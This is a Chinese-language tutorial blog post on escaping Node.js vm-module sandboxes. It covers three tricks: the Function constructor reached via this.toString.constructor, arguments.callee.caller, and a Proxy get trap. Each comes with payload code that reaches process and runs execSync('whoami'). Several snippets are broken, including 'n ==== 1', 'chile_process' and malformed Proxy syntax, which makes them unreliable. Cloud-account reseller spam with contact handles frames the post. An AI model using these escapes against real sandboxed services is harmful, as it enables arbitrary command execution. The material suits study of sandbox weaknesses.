安全基础 --- nodejs沙箱逃逸

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

nodejs沙箱逃逸

沙箱绕过原理沙箱内部找到一个沙箱外部的对象借助这个对象内的属性即可获得沙箱外的函数进而绕过沙箱

  • 前提使用vm模块实现沙箱逃逸环境。vm模式是nodejs中内置的模块是nodejs提供给使用者的隔离环境
  • 目的拿到process模块

实现沙箱逃逸拿到目标

1Function构造函数实现

源代码
const vm = require('vm');
// 一代沙箱不安全有逃逸漏洞
const script = `m + n`;
// 沙箱内引入脚本执行命令
const sandbox = {m:1,n:2};
// 为沙箱中传入对象
const context = new vm.createContext(sandbox);
// 创建沙箱的上下文环境将沙箱对象传入
const res = vm.runContext(script,sandbox);
// 通过script参数进行沙箱内部的执行
console.log(res);
引入Function()

this来引入当前上下文里没有的模块绕过这个隔离环境

const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
// this.toString获取到一个函数对象this.toString.constructor获取到函数对象的构造器即Function()这个构造函数构造器中传入字符串类型的代码
// process模块调用mainModulerequire用来导入子类的process模块然后使用execSync执行命令

问题1为什么不能使用{}.toString.constructor('return process')()却使用this

{} 是在沙盒内部的一个对象而this是在沙盒外的对象注入进来的。沙盒内的 {} 无法获取process因为其本身就无process

问题2m和n也是沙盒外的对象为什么不能用m.toString.constructor('return process')()实现

因为 primitive types数字、字符串、布尔这些都是 primitive types 他们传递的是值沙盒内使用的m和外部的m不是同一个m无法利用。

const sandbox = {m:[],n:{},x:/regexp/}
// 修改后就可利用了
实现
const vm = require('vm');
const script = `
    const process = this.toString.constructor('return process')()
    process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = {m:[],n:{},x:/regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res);

2argument.callee.caller实现

源代码

在1的基础上进行修改使得this无法实现

const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null);
// 上下文无对象this指向为空
const res = vm.runInContext(script,context);

// Object.create(null)指向了纯净的空对象无原型链无this环境无任何方式方法。
// 在js中this指向windownodejs中的this指向global
分析
const sandbox = Object.create(null);

function greet(){
    console.log(this);
}
// 此时的this是在sandbox下调用此时的this指向null
sandbox.greet = greet;
// 将greet赋值给sandbox中的greet属性
sandbox.greet();
// 实现调用

利用arguments.callee.caller实现

arguments // js中的callee caller 是已经被废弃的属性

//(1) 写个函数实现callee
const factorial = function(n) {
    if (n === 0 || n ==== 1){
        return 1;
    }else{
        return n * arguments.callee(n-1);
// 实际上是递归进行传递arguments.callee(n-1) === factorial(n-1)
    }
};
// 1 2 3 5 8  ---- 斐波那契数列
console.log(factorial(5)); // 120
// 5 * factorial(4)
// 5 * 4 * factorial(3)
// 5 * 4 * 3 * factorial(2)
// 5 * 4 * 3 * 2 * 1

// (2) 实现caller
function outer() {
    inner();
}

function inner() {
    // 函数的父类谁调用了你会指向某个调用你的函数。此处打印出的是outer()
    console.log(arguments.caller);
}
// 在inner中arguments.caller是被outer调用
outer();
// undefined

arguments.callee.caller --- 某个调用你的方法

实现
const vm = require('vm');
const script = `(() => {
    const a = {}
    a.toString = function() {
    const cc = arguments.callee.caller;
    const p = (cc.constructor('return process'))();
    return p.mainModule.require('chile_process').execSync('whoami').toString();
    }
    return a;
})()`;
// arguments.callee是函数本身就是function(),加上.caller指向toString方法
// toString方法指向外部在外部通过拼接字符串进行调用
// 最终toString方法指向沙箱外部
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res); // 通过hello触发
// 在js中某个东西和字符串拼接最终会变成一个字符串。'hello' + res --- string(自动调用toString方法)

// 相当于在外部通过hello进行字符串连接连接了一个函数最终调用toString方法这个toString方法就会触发内部的a触发a的toString方法利用这个toString和constructor拿到内部的Function最后返回process对象

3利用ex6的Proxy代理模式来劫持外部的get操作

Proxy可理解为在目标对象前架设一层“拦截”外界对该对象的访问都必须先通过这层拦截相当于对外界的访问进行过滤和改写。

例拦截读取属性行为
var proxy = new Proxy(){
    get:function(target,proKey){
        return 35;
    }
}
proxy.time  // 35
proxy.name  // 35
proxy.title // 35
实现
const vm = require('vm');
const script = `(() => {
    const a = new Proxy({}{
        get:function(){
            const cc = arguments.callee.caller;
            cc.constructor('return process')
        }
    })
})()`;
// 定义代理模式将代理模式定义为空对象这个空对象有get方法
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res.xxx);
阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: NodeJS